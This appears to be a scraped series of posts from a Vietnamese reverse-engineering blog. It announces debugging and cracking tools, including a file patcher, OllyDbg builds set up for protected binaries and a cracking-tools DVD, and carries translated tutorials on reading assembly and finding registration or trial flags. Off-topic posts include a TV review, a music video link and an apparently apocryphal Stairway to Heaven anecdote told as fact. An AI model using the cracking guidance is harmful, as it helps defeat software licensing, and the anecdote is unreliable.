-get filepaths from registry
-usage of CRC32 and filesize checks
-patching packed files
-compress patcher with your favorite packer
-saving projects
-use custom skin in your patcher
-add music (Tracker Modules: xm,mod,it,s3m,mtm,umx,v2m,ahx,sid) to patcher
-and many more…

[Version History]
[2.19]
-new “Text-Patch” module !
-bugfix in s&r compare module
-other bugfixes from v2.18
-added linkcursor in patcherwindow
-registry editor now can import v5 reg files
-faster scrolltext engine
-better scrolltext font management
-new function: import long hexpatterns in offset-patch-dialog
-fixed loader_installer bug
-added support for relative paths (subfolders) for the targetfiles
-search & replace comments bugfix
-loader: registrypatcher bugfix
-added new internal environment variable: %dup2_last_path%
-skincontrols now can have transparent backgroundcolor (FFFFFFFF)
-now you can execute multiple search&replace loaders from same directory

Download here:
http://free.pages.at/d2k2//downloads/dup2.rar

Ollydbg v2.0 March 28, 2009

Posted: March 30, 2009 in RE Tools

The second beta. I’ve planned that it will come with the more or less complete help file. Unfortunately, I had no time to write it. Therefore there will be also the third beta release… soon.
There are many – over 20 – bugfixes in the beta 2, some of them are really critical. As promised, there are no significant changes, with two exceptions. The recognition of UNICODE strings is vastly improved, they are no longer limited to ASCII subset (option “Use IsTextUnicode()”. Also I recognize strings in the UTF-8 format. By the way, if you have some small sample program with the free source that uses UTF-8 strings, please send it to me (together with the screenshot of displayed strings) so that I will be able to test OllyDbg.
The second new feature is in the run trace. New option “Pause when EIP points to modified command” helps, for example, to find the real entry point of the SFX-ed code. Just don’t forget to create backup first (or use another new option, Auto backup user code)!

Download here:
http://ollydbg.de/odbg200j.zip

Regards

CodeWalker vs. Advanced MBR rootkit (Mebroot)
by : Thug4lif3

Mebroot là 1 rootkit đặc biệt, lây nhiễm vào Master Boot Record và exec rootkit khi OS khởi động. Rootkit này được ví như 1 “hệ điều hành malware chạy bên trong hệ điều hành Windows”. Vì sao? Mebroot là 1 rootkit thương mại có khả năng bypass tất cả các loại personal FW như ZoneAlarm, KIS, Outpost, .. hiện có trên thế giới bằng TCP/IP stack tự tạo cùng kỹ thuật hook đặc biệt cực kỳ khó phát hiện, có khả năng update bản thân cùng các tính năng đặc biệt khác. Theo phân tích của F-Secure thì rootkit này được viết rất chuyên nghiệp và người viết có kiến thức cực sâu về Windows & NDIS. Các bạn có thể search thêm thông tin về rootkit này thông qua google.

Từ ngày 31/03 cho đến hôm nay (14/04), các tác giả của Mebroot lại triển khai 1 chiến dịch lây lan các biến thể mới của rootkit này. Các biến thể này sử dụng các kỹ thuật mới cho việc che dấu bản thân. Hiện tại, GMER/RkU/IceSword phiên bản mới nhất và các antirootkit tool khác vẫn chưa phát hiện được loại các biến thể mới của Mebroot.

CodeWalker 0.2.4.500 được phát triển để tạo các tính năng phát hiện biến thể mới nói trên. Các bạn có thể thấy các system thread ẩn từ tab “Hidden Code” và check MBR từ tab “Files”. Mời các bạn dùng thử và feedback cho mình tại thread này.

Screenshot: CodeWalker vs. Mebroot

cw

Download:

http://cmcinfosec.com/download/cmcark_cw0.2.4.500.rar

Nếu bạn bị màn hình xanh, trước tiên, config:

My Computer > Properties > Tab “Advanced” > Startup and Recovery Settings > Write Debugging Information > Kernel Memory Dump.

Sau đó, reboot và chạy lại CodeWalker. Nếu bị BSOD thì bạn vào lấy file %systemroot%\MEMORY.DMP và send vào thug4lif3 gmail \.com

Thanx Thug for Good Tools!
m4n0w4r

WARNING : Unauthorized Training

Please be informed that Athena, DDC and Nhat Nghe located in Ho Chi Minh City, Vietnam, are NOT EC-Council authorized training partners and as such are NOT authorized to provide any training whatsoever for EC-Council certifications.

Candidates that take such unauthorized training shall be barred from taking the EC-Council Certification examinations and risk having their certifications revoked. Candidates are only allowed to take training from Authorized Training Partners as a precondition of taking the certification examinations.

http://eccouncil.org/Unauthorized-Training.htm

Cuối cùng thì EC-Council cũng phải lên tiếng về mấy trung tâm dạy chui tại VN :) )….. Nhục quá!!

加密与解密工具新年大礼包2009 DVD1
New Year Presents 2009 Edition

PEDIY & China BCG荣誉出品
===============================================================================

本光盘主要收集了常用的加密与解密工具,工具来自bbs.pediy.com兄弟们的分享,我们主要是

负责整理了一下,做个列表和启动,不足之处请原谅!

由于精力实在有限,对本光盘的不足之处请大家海涵。

祝2009年顺心、快乐、健康、幸福!

This DVD-ROM mainly collects the common cracking tools shared by friends of bbs.pediy.com,
we are just responsible for arranging the contents, adding a list and startup. Excuse us
for any flaws.

We are particularly grateful to Allon for his present bag cover.

Wish you a satisfactory, happy and healthy new year!

PEDIY & BCG
2009-01-01

pediy1

pediY2

Download here :
http://book.kanxue.com/Crack_New_Year_Presents_2009.rar

Thanx kanxue and members of Pediy

Regards
m4n0w4r

REVERSING-GENERALS (Phần I)
Dịch: Benina

TỔNG QUÁT VỀ “ĐẢO MÔ

Bài này tui tham khảo bài viết của Ignatz/stoicForce . Ở đây , tui ko thể dịch sát nghĩa như các lão ấy viết. Vì dịch sát nghĩa ra tiếng Việt thì chắc cũng ko có ý nghĩa gì hết. Vì mấy Lão này ko phải là Người Anh, nên tiếng Anh họ viết khó dịch quá. Đồng thời trình độ tiếng Anh của Benina cũng thuộc dạng amatơ, nên có gì sơ xuất mong các bạn thông cảm. Ở đây ,tui hiểu như thế nào khi đọc tut này thì tui viết lại như cách mình nghĩ mà thôi. Chỉ là phỏng dịch. Nếu có gì sai các bạn góp ý cho. Vì TUT này rất hay, nên tui chọn tut dành để “biếu” các bạn newbie còn khó khăn khi đọc TUT về Reversing. Đầu tiên , tui xin dịch “Reverse” là “Đảo mã” (Chứ ko phải “đào mả” nhe) cho nó gọn. Nếu có ai dịch từ này hay hơn , xin cho ý kiến để sao này “ko tái phạm”. Hìhì Nói thêm một chút, một anh Reverser khác với một anh Cracker. Hay nói nôn na một anh chuyên đảo mã khác với một anh chàng bẻ khóa. Anh đảo mã có thể trở thành một anh bẻ khóa .Còn anh bẻ khóa thì chưa chắc trở thành anh đảo mã. Vì nếu bạn đảo mã tốt thì bạn dễ dàng trở thành cracker một cách dễ dàng. Vì lý do đó , nên tui mới dịch TUT này , rồi các bạn sẽ hiểu những gì tui nói

ĐIỂM SÁNG TRONG QUÁ TRÌNH ĐẢO MÃ CODE

(CONVENTION) TẬP QUÁN:

Khi bắt đầu đảo mã,bạn sẽ sớm thấy rằng bản chất của vấn đề là thường chúng ta dựa vào một số thói quen khi đọc code, giống như cách mà bạn đặt tên cho biến và chú thích cho vòng lặp . Khi đảo mã cũng giống vậy. Chưa bao giờ tui lượt giảm thông tin trong code, mà luôn luôn thêm thông tin vào.Ví dụ, chưa bao giờ viết đè lên 1 address mà thêm một cái tên sau nó:

mov [00534160], eax
mov [00534160_SerialFlag], eax ; like this you won´t lose vital information

(COMMENT) CHÚ THÍCH CHO CODE

Đó là điều rất quan trọng ,bạn nên dùng những định nghĩa trong sáng cho code và đừng quan tâm khi bạn phải viết nhiều từ để mô tả code.Bạn sẽ yêu chính bạn về việc làm này khi sau này bạn quay lại đọc những ghi chú mà mình đã viết và bạn sẽ ghét bỏ chính bản thân mình khi ko ghi chú đầy đủ để sau này ko lần ra được những bước mình đã đi qua. Nó cũng sẽ làm một vài phần của code trong sáng hơn cho chính bạn . Từ đó bạn cùng sẽ dễ tìm ra mẫu code làm gì nếu bạn chú thích nó một cách đúng đắn. Rule tổng quát cho việc ghi chú thích là: ghi chú thích code làm sao mà một người chưa đảo mã đọan code đó có thể hiểu được mà ko phải “sorry, understand “. Đơn giản thế thôi, nhưng thật sự việc này ko dễ đâu các bạn ạ. Vì ghi chú thích cho mình nhớ thì dễ , nhưng khi ghi chú thích vắn tắt cho một người khác hiểu thì rất khó. Bạn phải có một quá trình đọc code và đồng thời học tập các cao thủ khi họ comment code.

Download toàn bộ bài viết
reversing-generals_phan1

REVERSING-GENERALS (Phần II)
Dịch: Benina

Phần 2
TỔNG QUAN VỀ ĐẢO MÃ

RETURN VALUE (giá trị trả về của hàm)

Nếu hàm trả về một giá trị, nó luôn trả về trên thanh ghi eax hay trong một tham số input nào đó. (nhập vào trước hàm) .Bạn sẽ thấy rằng thường thì nếu nó là tham số input, bằng cách kiểm tra nó ta thấy nó là addr hay một giá trị được cung cấp cho hàm call. Nếu nó là một giá trị, nó ko được chỉ định như một tham số , bạn cần chú ý nó sau này. Nếu nó là một addr, nó sẽ trỏ đến một string như ví dụ sau. Sau dĩ bạn sẽ thấy dòng kế của code miêu tả nó được sử dụng lại hay là ko. Trong phần lớn các case , bạn sẽ thấy nó được sử dụng lại một lần nữa (điều đó thật hiệu quả khi nhớ addr thật của nó). Bây giờ tui sẽ chỉ cho bạn một lập trình viên pascal với cách nhìn của anh ta khi create một hàm. Điều này sẽ làm khái niệm rỏ ràng trong sáng hơn. Ở đây là khai báo của một hàm:

function MyAdd(x, y :integer) : integer; // declaration
var erg: integer; // local var
begin
erg := x + y; // do the things
add := erg; // return value
end;

Đây là một hàm thông thường, nó chỉ cộng 2 số int, có 2 tham số, và một biến cục bộ được sử dụng tạm thời để gán cho giá trị trả về của hàm. ASM phải cần đến là di chuyển 2 tham số này ra khỏi stack khi hàm thực thi xong và nó phải nghịch đảo đầy đủ vùng nhớ cho biến cục bộ của hàm…Giống như đoạn mã này:

; *Pascal*
push ebx ; par1
push ecx ; par2
call MyAdd ; call the function
; in this example, the function restores the
stack (pascal)
mov …, eax ; returnvalue in eax

; *C*
push ecx ; par2
push ebx ; par1
call MyAdd ; call the function
add esp, 8 ; restore the stack
mov …, eax ; returnvalue in eax

;——————————-
; *MyAdd*
;——————————-
push ebp ; save baspointer
mov ebp, esp ; get a grip on the parameters
sub esp, 4 ; make room for the local var

; adding
mov ebx, [ebp+0C] ; get first parameter
mov ecx, [ebp+8] ; get second parameter
add ebx, ecx ; add
mov [ebp-4], ebx ; move result to local var
mov eax, [ebp-4] ; return local var
; returnvalue is eax
leave ; this instruction does the folowing:
; mov esp, ebp
; pop ebp
add esp, 8 ; ONLY for pascal!
ret

Download toàn bộ bài viết:
reversing-generals_phan2

REVERSING GENERALS – PART 3
Dịch : Benina

TỔNG QUAN VỀ ĐẢO MÃ – PHẦN 3

Case

Đây cũng là đọan code trong Opera 3.62. Nó chọn lựa những trang help nào hiển thị trong browser. Tôi lướt qua đọan code này một cách ngẫu nhiên, nhưng nó là một ví dụ hữu ích cho lệnh switch/case. Trước khi bạn tìm hiểu về nó, tôi muốn bạn chú ý rằng , có
2 cách khác nhau trong phát biểu switch. Một là viết ra 1 chuổi các lệnh nhảy jump. Điều này tương đương với “if then sldif elseif ….end” và Một nữa là lọai mà Opera 3.62 sử dụng ở đây. Nó nhanh hơn lọai đã đề cập trước đó (lọai “if then sldif elseif ….end”). Ở
đây, chương trình tính tóan một một “điểm nhảy”(jumpmark) [4*eax+004932A3] đến code tương đương, thay vì đi qua mọi dòng line để check lệnh jump như lọai đầu tiên. Đây đơn giản chỉ là cách làm việc của code, bởi code có chiều dài giống nhau cho mọi
nhánh – 4 byte. Thông thường đây ko phải là case, vì bạn phải đề cập một chuổi các phát biểu “cmp jne” mà chúng tham chiếu đến lọai “if then elsif elsif elsif…end”. Bây giờ hảy xem đọan code sau:

:00493070 mov eax, dword ptr [ebp+10]; eax = Par1
:00493073 add eax, FFFFB1DD
; Par1 = Par1 – 20003d “look at stringrefs”
:00493078 cmp eax, 0000008A
; if eax smaller than 138d jump toindex.html
:0049307D ja 0049305E
:0049307F movzx eax, byte ptr [eax+00493357]
:00493086 jmp dword ptr [4*eax+004932A3]
; switch statement, calculate jumpmark

* Data Obj ->”keys.htm”
|
:0049308D push 0051DD58 ; a jumpmark
:00493092 jmp 00493063

* Data Obj ->”prefmenu.htm#print”
|
:00493094 push 005256B0 ; another jumpmark
:00493099 jmp 00493063

* Data Obj ->”dialogs.htm#direct”
|
:0049309B push 0052569C ; …
:004930A0 jmp 00493063

* Data Obj ->”prefmenu.htm#sethome”
|
:004930A2 push 00525684
:004930A7 jmp 00493063

* Data Obj ->”dialogs.htm#fileuplf”
|
:004930A9 push 0052566C
:004930AE jmp 00493063

* Data Obj ->”dialogs.htm#hotlist”
|
:004930B0 push 00525658
:004930B5 jmp 00493063

* Data Obj ->”dialogs.htm#locked”
|
:004930B7 push 00525644
:004930BC jmp 00493063
; and so on …


Các biến Global :

Trong phần lớn các chương trình có nhiều biến và hằng số mà chúng có khả năng truy xuất mọi lúc, mọi nơi. Đây ko phải là biến local, bởi chúng bị lọai bỏ sau khi hàm kết thúc. Vì vậy chúng (biến loacal) chỉ có thể truy xuất bới chính hàm của chúng. Các biến
có thể được truy xuất đến mọi lúc, mọi nơi được gọi là các biến global (biến tòan cục) (trái với local). Vì vậy một reverser sẽ phải chú ý “theo dõi” chúng, bởi chúng chứa các cờ flags giống như registrationflags (cờ cho biết soft đăng ký chưa), demoflags (cờ xác
định soft có phải là lọai demo hay FULL), trialdate (cờ xác định cho dùng thử, giới hạn tgian ) , …và các dữ liệu khác như tên chương trình, các tham số, …..Xác định các biến global có thể là một công việc khó. Tôi đã tìm hiểu có 2 cách Opera truy xuất các biến của nó. Một là dùng addr trực tiếp. Điều này có ý nghĩa là , nếu biến là 00543380 chương trình truy xuất đến nó bởi chính là số này (00543380)

direct mode: mov eax, dword prt [00543380]

Một cách khác nữa, nó có thể dùng mode addr liên quan. Bạn có thể thấy một ví dụ cho trường hợp này trong phần kế tiếp. Với mode này, chương trình truy xuất biến liên quan đến một “địa chỉ nền” (baseaddress). Base này được chứa trong một thanh ghi. Nếu bạn thấy vài thứ giống như vậy, thì nó là 1 lọai khó để xác định biến global. Nhưng vẫn có thể, bạn chỉ phải search giá trị của offset. Đừng rối với những thứ lọai này, nó sẽ “sáng sủa” hơn trong lần thứ 2 chương trình “chạm” đến nó. Nhìn vào ví dụ sau:

mov eax, [esi + 4EC]
|         |
base offset

Download toàn bộ bài viết:
reversing-generals_phan3

Cúm H5N1 :))

Posted: May 4, 2009 in OllyDbg Tutorials
Tags:

Sáng sớm đã được trận cười vỡ bụng, càng xem càng thấy buồn cười :) ). Đang uống cốc nước mà tí thì sặc khà khà..

bkav_h5n1

Đồng chí nào làm quả ảnh này độc đáo phết :d

Xem trên imdb thấy toàn diễn viên nổi tiếng như Arnold Schwarzenegger, Jason Statham, Sylvester Stallone, Jet Li v..v.. Xem cái poster trông hoành tráng phết!!

expendables-poster-750x1110

Khi nhắc đến những ca khúc xuất sắc nhất của nhạc rock, không ai có thể không nói đến “Stairway to Heaven”, ca khúc “vua của các ca khúc”. Thật vậy, ai nghe rock mà không biết ca khúc kinh điển này thì coi như là chưa nghe rock. Từ khi ra đời cho đến nay, “Stairway to Heaven” luôn dẫn đầu các cuộc bầu chọn về ca khúc xuất sắc nhất cũng như những câu solo guitar xuất sắc nhất.

Theo thống kê của các đài phát thanh nhạc rock ở Anh và Mỹ, “Stairway to Heaven” luôn là ca khúc được yêu cầu phát sóng nhiều nhất. Đây cũng là ca khúc mà dân chơi guitar từ nghiệp dư đến chuyên nghiệp quyết tâm tập theo nhất.

Cho đến nay, “Stairway” đã trở thành cảm hứng cho vô số các ban nhạc và ca sĩ. Có đến hơn 100 bản cover lại ca khúc này theo đủ các phong cách từ hard rock (Great White), country (Dolly Parton), jazz (Pat Boone), reggae (Far Cooporation), punk (Me First and the Gimme Gimme) đến phong cách thổ dân của nhạc sĩ Rolf Harris trong đó ông đã sử dụng toàn những nhạc cụ đặc thù của thổ dân châu Úc.Bản cover này đã đạt hạng 10 ở Anh. Các phong cách khác nhau của các bản cover được sử dụng trong chương trình chat show “The Money or the Gun của Úc ở mỗi cuối chương trình. Tuy nhiên cho dù cover lại bằng phong cách nào đi nữa, phiên bản chính của Led Zeppelin vẫn là tượng đài bất hủ của nhạc rock.

- Một câu chuyện thật như đùa có liên quan đến ca khúc “Stairway to Heaven” đã diễn ra như sau. Ngày 23/1/1991, một tuần trước khi cuộc chiến vùng vịnh nổ ra ở Kuwait, một nhóm khủng bố ủng hộ Saddam Hussein đã tấn công một đài phát thanh ở New Mexico với mục đích dùng nó để phát các thông tin ủng hộ Saddam. Khi nhóm này tấn công vào đài phát thanh, DJ John Sebastian đang phát ca khúc “Stairway to Heaven”. Điều đáng buồn cười là các tay khủng bố đều là fan của Led. Và thế là thay vì chiếm dụng đài phát thanh để làm nhiệm vụ tuyên truyền, nhóm khủng bố ra lệnh cho tay DJ phát đi phát lại ca khúc này trong suốt 24 tiếng đồng hồ không ngừng nghỉ. Vụ khủng bố này chỉ được phát hiện khi một số người bực mình gọi đt yêu cầu cảnh sát làm việc với đài phát thanh lì lợm này. Khi cảnh sát đến hiện trường thì tay DJ đang trong tình trạng nguy kịch do nhồi máu cơ tim, có lẽ vì quá mệt mỏi khi phát đi phát lại một ca khúc trong suốt nhiều giờ liền.Được biết, có nhiều người đã mở đài đó suốt cả ngày để xem “chừng nào thì mới chuyển sang bài khác”

Còn đây là HD clip của “Stair way to Heaven”.. xin mời anh em thưởng thức cái mà người ta gọi là “kinh điển” :

Video:

  • Resolution — 1280×720
    Codec — H.264/MPEG-4 AVC
    Bitrate — 7378 Kbps
    Aspect Ratio — 16:9

Audio:

  • Codec — DTS 5.1
    Sampling Rate — 48 KHz
    Bitrate — 1536 Kbps

Runtime:

  • 10 min. 41 sec.

stair

stair2

Link download :

http://rapidshare.com/files/201873587/Led_Zeppelin_-_Stairway_to_Heaven.part1.rar

http://rapidshare.com/files/201885693/Led_Zeppelin_-_Stairway_to_Heaven.part2.rar

http://rapidshare.com/files/201893161/Led_Zeppelin_-_Stairway_to_Heaven.part3.rar

http://rapidshare.com/files/201897585/Led_Zeppelin_-_Stairway_to_Heaven.part4.rar

Best Regards
kienmanowar

HAKIN9 PDF magazine!

Posted: August 28, 2009 in OllyDbg Tutorials
Tags:

Hakin9 is a bi-monthly publication on IT Security. The magazine is published in English and distributed in all English-spoken countries. The greatest part of hakin9′s circulation is sold in the USA, a bit less in Australia, Netherlands, Singapore and United Kingdom.

Hakin9 is a source of advanced, practical guidelines regarding the latest hacking methods as well as the ways of securing systems, networks and applications.

Hakin9 is published by Software Media LLC that is a US branch of European publishing house, Software – Wydawnictwo Sp. z o.o.

Hakin9 – Practical Protection is read and subscribed mostly by IT Security managers, officers and trainees employed in large enterprises all over the world.

New issue :
Hakin9′s (5/2009) – 21st Century Hacking Techniques
Cutting Edge Ways to Hack ASLR and Stack Canaries

hakin9
* Windows Timeline Analysis…
* Analyzing Malware Introduction to Advanced Topics…
* Hacking ASLR & Stack Canaries on Modern Linux…
* Mashup Security…
* My ERP Got Hacked – An Introduction to Computer Forensics, Part II…
* First Password Shooters…
* RSA & AES in JAVA…
* AV Scanner 101…
* The Underworld of CVV Dumping…
* It’s All About Reputation…
* Interview with Andrey Belenko…
* DefenseWall Pure Policy-Based Sandbox Application…
* Interview with Alexandre Dulaunoy & Fred Arbogast…
And more ….

Best Regards
kienmanowar

Trước tiên, phải công nhận một điều là kịch bản phim này quá hay (nhưng cũng có đoạn hơi “hay quá”), cảm giác xem phim rất hồi hộp với nhiều tình tiết cảm giác đến nghẹt thở :D . Đến bà xã cũng tò mò muốn biết xem kết thúc của SE01 như thế nào lolz.

pb

_Đầu tiên là Lincoln Burrows: Vào tù và lĩnh án tử hình vì bị kết án là giết anh trai của Phó tổng thống, toàn bộ chứng cứ đã bị làm giả, đoạn video quay lại cảnh trong nhà xe đã bị fake đến mức độ hoàn hảo. Nói chung là không cãi được, tất cả mọi người đều tin là anh giết. Ngay cả những người thân nhất như vợ và con cũng tin … tuy nhiên có một người không tin vào toàn bộ những gì xảy ra đó là Micheal Scofield. Đến khi xem đủ 22 tập phần 1 thì mới hiểu rằng, Lincoln đã được chọn sẵn làm vật thí mạng bởi cha anh là người trong “tổ chức” .. mà tổ chức này có thế lực làm khuynh đảo chính phủ Mĩ.

_Thứ hai là Sucre: Vào tù vì bị thằng bạn chơi bẩn, lúc cướp tiền trong cửa hàng để mua nhẫn đính hôn .. do thằng bạn bẩn cũng thích người yêu của cậu nên nó gọi cảnh sát đúng lúc cậu cướp cả đống tiền. Cậu bị tóm mà dek hiểu sao :) ).. Là bạn cùng phòng của Scotfield, Sucre đóng vai trò quan trọng trong việc canh phòng lúc Scotfied lần mò đường đi lối lại trong tù. Lý do vượt ngục là vì em người yêu đã có con với cậu nhưng lại sắp bị thằng bạn bẩn hớt tay trên. Đoạn phim để lại ấn tượng nhất là lúc Sucre cùng T-Bag lập kế hoạch lấp lại cái hố trong phòng của bọn quản ngục.. hehe lấy cái quần lót của thằng pede làm lý do tại sao lại ko ở trong phòng lúc điểm danh :) )

_TheoDore T-Bag: Vào tù cũng vì bị xì, nhưng thằng này đáng vậy. 6 lần bắt cóc và hãm hiếp nên lĩnh án chung thân trong tù. Đoạn vào tù bị bà kia nhổ nước bọt cho thấy đó là lúc T-Bag muốn hoàn lương ?? Chỉ thấy T-Bag nói: “Khi bà kia đẩy nó vào đây thì coi như thằng con hoang trong nó đã sống lại” và ngày nếu nó ra được ngoài sẽ tìm tới nhà bà này đầu tiên. Trong phim, có thể nói T-Bag là thằng dám giết người nhất, bẩn nhất thì chưa biết nhưng sẵn sàng đâm lén và chơi bất cứ ai thì chắc nó là nhất… kể cả trùm Mafia như Abruzzi cũng tí thì tèo đời với T-Bag khi có ý định loại nó ra khỏi kế hoạch Vượt ngục. Nếu như C-Note không cản T-Bag thì có lẽ lão cùng toi, vì đoạn Abruzzi thoát chết trở về, T-Bag định vào phòng xử lão già Mafia nhưng bị C-Note ngăn lại. Nếu xông vào dám chắc T-Bag toi đời… và ở cuối phần 1, T-Bag đã bị Abruzzi cho đứt lìa cánh tay…:|

_Trùm Mafia Abruzzi: Bị tố bởi Fibonnaci khi chứng kiến cảnh giết người, vào tù nhưng có cảm giác Abruzzi chẳng khác nào quản ngục, được phân công làm tổ trưởng của PI và có ảnh hưởng khá nhiều… hehe hóa ra là do thằng khác ở ngoài đấm tiền cho Bellick nên Abruzzi mới được như thế. Lão tuy là một tay Mafia khét tiếng nhưng khi có thằng nhắc tới gia đình và con lão, ngay lập tức lão cũng phải run sợ… với lão gia đình có một vị trí quan trọng. Ngày đầu tiên khi Scofield vào tù đã bị lão cắt chân rồi … rồi đến người nhà T-Bag, chỉ cần một cuộc điện thoại của lão là xong đời… thế mới hiểu thế nào là Mafia… Tuy nhiên, lão cũng tí chết bởi T-Bag, nếu không được cấp cứu kịp thì cũng tàn. Đoạn lão phối hợp với Scofield để chơi thằng Falcone, nhằm có tiền đưa cho Bellick…. hay phết …

_C-note (Franklin): Là lính Mĩ, bị sếp chơi vì định tố cáo tra tấn tù nhân… bị bắt khi chở hàng lậu và lĩnh án. Vẫn nói dối và gửi quà về cho vợ và con gái … rất yêu gia đình. Là mắt xích khi Scofiled muốn lấy được thuốc Pug-Nac. Do từng là lính nên con mắt quan sát rất tinh, cho nên mới biết được kế hoạch vượt ngục. Đoạn C-note bị đám anh em phản và đập bé bét, đành phải nghe theo lời T-Bag để chơi bạc nhằm kiếm tiền hối lộ thằng quản ngục để nó không nhường phòng của Micheal cho thằng khác rất hồi hộp.. qua đó cũng hiểu được thằng T-Bag tởm thật :) ). Ở phần cuối hài nhất đoạn sau khi C-note đập thằng phản bội và bị bọn nó lùng giết, C-note hỏi Micheal vặn cái bồn còn mấy vòng nữa là xong lolz.. May mà vặn xong và trốn được vào chứ không thì C-note hết đường mà ra tù :D

_Patoshik : Vào tù với án 60 năm vì giết người cấp độ 2, điên điên khùng khùng nhưng thực ra còn hơn cả “Quách tỉnh” .. là thằng đầu tiên nhận ra trên người Micheal có một tấm bản đồ hay tự hắn gọi là đường đi của Quỷ dữ .. ngoài ra cũng là thẳng mắt xích quan trọng khi Micheal muốn có lại phần bản đồ bị hỏng trên người khi bị bỏng. Ngoài ra thằng này nó chẳng phải làm dek gì, tự nhiên phút cuối nó nhảy vào giữa và thoát được ra ngoài lolz… Đoạn hài là lúc nó cướp xe đạp của cô bé và đi bỏ hai tay :) )

_Tweener (Apolskis) : Vào tù vì ăn cắp đồ có giá trị, thằng này ăn cắp thì thôi rồi. Lúc Micheal nhờ nó lấy lại cái đồng hồ vàng mà bị thằng Geary thó mất mới thấy nó nhanh cỡ nào. Nhưng thằng này lẽ ra bị xử rồi, vì nó xì đểu với thằng Bellick hơi nhiều. Thằng này cũng đau, sau vài lần cung cấp thông tin ko thành bị Bellick chơi, cho vào cùng phòng với thằng gay… cuồi cùng là cậu phải dùng dao cạo để cắt cái của thằng gay… :) )… Đoạn trốn tù, cậu đập thằng Bellick cũng buồn cười …

_Bellick: Có thể nói là vừa tham, vừa ranh ma, và cũng bẩn chằng khác bọn tù. Ấn tượng không tốt ngay từ đầu với Micheal khi anh vào trại, cũng là thằng bị Micheal chơi lại mấy lần…. lúc bị Dbcooper đập và nhét xuống cái hồ mới thấy Bellick cay cú tới mức nào lolz…. nhưng phải công nhận là thằng cha Bellick này như chó săn, rất nhanh :) ).. trông béo mà nhanh gớm!!

scofield

Còn về Micheal Scofield thì khỏi bàn, đạo diễn đã cho anh quá nhiều đất diễn và anh đã diễn quá hay, nhiều chỗ hơi quá nhưng nó lại logic với bộ phim.

Chuẩn bị xem tiếp SE02 :) )

Leaked by someone, dont ask me , plz,.. Google it now!!

Best Regards

m4n0w4r

MAPIMP Plugin version 0.6

Posted: December 22, 2009 in RE Tools

MAPIMP Plugin version 0.6
by takerZ/tPORt
mod by BoRoV/TSRh
2009

• What is it?
This is an OllyDbg plugin which will help you to import map files exported by IDA, Dede, IDR, Microsoft and Borland linkers

• Why?
There are many plugins using which you can perform similar actions, but mapimp:
- Recognizes debugged file segments and applies names correctly
- Has an option to overwrite or skip names that intersect already defined
- Has a filter option which gives you great name demangling potential
- Works fast (but who cares nowadays, right?)

Version info:
+ added
* fixed
- removed

0.6: ( by BoRoV )
* fixed a bug with files who not have extension (thanks to sendersu for the report)
* fixed a bug in autoimport feature
* added feature, double click in list with masks to edit selected mask

0.5:
+ added name demangling feature
+ now it is possible to choose whether to apply names to debugged module or
currently viewed module
* map file parsing routine was a hack and so rewriten. Should now support IDA,
DeDe, IDR, Microsoft and Borland (thanks to void and awerto for CodeGear tests)
linkers map files and handle names longer than 235 characters (string buffer is
now 1kb long)
* recompiled with pcre 8.0. See changelog at http://www.pcre.org/changelog.txt
* fixed a bug when mapimp broke import procedure when trying to import a name to a
module with less number of segments than the name’s segment addressed
* fixed a bug when OllyDbg crashed while displaying format containing names in the
progress bar
* fixed a bug with an accelerators when it was unable to check\uncheck checkboxes
using a mouse click. The winner of “The stupidest bug of a year” award
* fixed a bug in autoimport feature which made it search for the map file every
int3 break event including step over (thanks to 9999 for the report)
* fixed “Options” window look with Windows themes (thanks to BoRoV for the report)
* config file moved to plugins folder

0.4:
* fixed map file parsing routine. Now you can load some
structure-incorrect map files like those which Interactive Delphi
Reconstructor exports
* fixed a bug with global shortcuts. ODBG_Pluginshortcut callback
works reeeally weird. Now press Ctrl + Shift + I to import
and Ctrl + Shift + M to open options window

0.3:
+ added keyboard shortcuts
* fixed memory leak in mask_filter function
* fixed mask manager’s focus and selection behaviour
* fixed a bug when being closed “Options” window did not return focus
to OllyDbg’s main window if it temporarily lost activity
* now autoimport does not search for the map file until debugee changes
* code refactored

0.2:
+ added autoimport feature (thanks to Jupiter for the idea)
+ added “Edit” button for mask manager
* more informative regular expression error messages
* fixed a bug when mapimp did not make the “Options” window modal while
inputing masks. So if you closed the options window with active input
box it caused a deadlock
* some interface changes

0.1:
+ first release

Download here
Change to mapimp06.7z!!

Best Regards
m4n0w4r

Overview


I posted this at GzN since a lot of people had no idea about reversing so hopefully this well help them start out and maybe it’ll help some of you guys too. This article will cover most of what you need to know to get started in reverse engineering. I will assume you know pretty much nothing so if you see a bit you already know heaps about, just go onto the next bit. I have posted my crap over here as well because this is 1 more forum that I recognise as a place where people want to learn. Somewhere where the attitude isn’t just leech to get the hack working but find out how to make your own hack and why the hack works. As I always say Hack to learn, don’t learn to hack.

Download here:

http://www.mediafire.com/download.php?mkmnymntjkz

Best Regards
m4n0w4r

OllyDbg – EvO_DBG

Posted: December 23, 2009 in OllyDbg - EvO_DBG, RE Tools

Author: EvOlUtIoN

This is my version of OllyDBG.
I removed all useless plugins and put my preferred ones, and also i set-up a good configuration.
With it you should be able to load any protected file (themidaed for example).
Sometimes you have to change some options inside plugins (with obsidium for example), but the current setting is good in 90% of cases.
It has also a more advanced loaddll.exe that allows you to load dll’s in different memory locations, so you can rebuild relocations in an neasy way.

Download here:

http://www.mediafire.com/download.php?mjyuzbyjomx

Regards
m4n0w4r

P32Dasm v2.6

Posted: December 25, 2009 in P32Dasm, RE Tools

Author : Darker

Hi folks, i prepare for you some Christmas gift – new release of P32Dasm :-) This release add some powerful features that allow you to analyze VB5/6 apps more detailed. More objects/classes are resolved, more procedures are identified with their real names, in some cases of .ocx, .dll files also added parameters with real names and types plus additional information as Enumerators, Constants, Events and Properties. So a lot of work was done here and i hope you enjoy this release. Your best tool for reversing VB5/6 apps is ready to use :-)

2.6 – [24.12.2009] – Christmas Release
+ Added procedure names identification
+ More objects recognition
+ Added reading more details (Enumerators, Constants, Events and Properties)
+ Added new Events icon for better resolution
+ Internal code tidy up and changes for displaying better debug info
+ More procedures details identified on some strange type apps (NCode)
- Removed displaying of procedure names list in output (moved to real names)
* fixed working of MRU files
* Fixed bug: missing end address in one procedure NCode object
* Fixed some GUI problems when app use visual styles

Download here:

http://progress-tools.110mb.com/p32dasm.zip

OllyDbg Tut_16!!

Posted: December 25, 2009 in OllyDBg_tut16

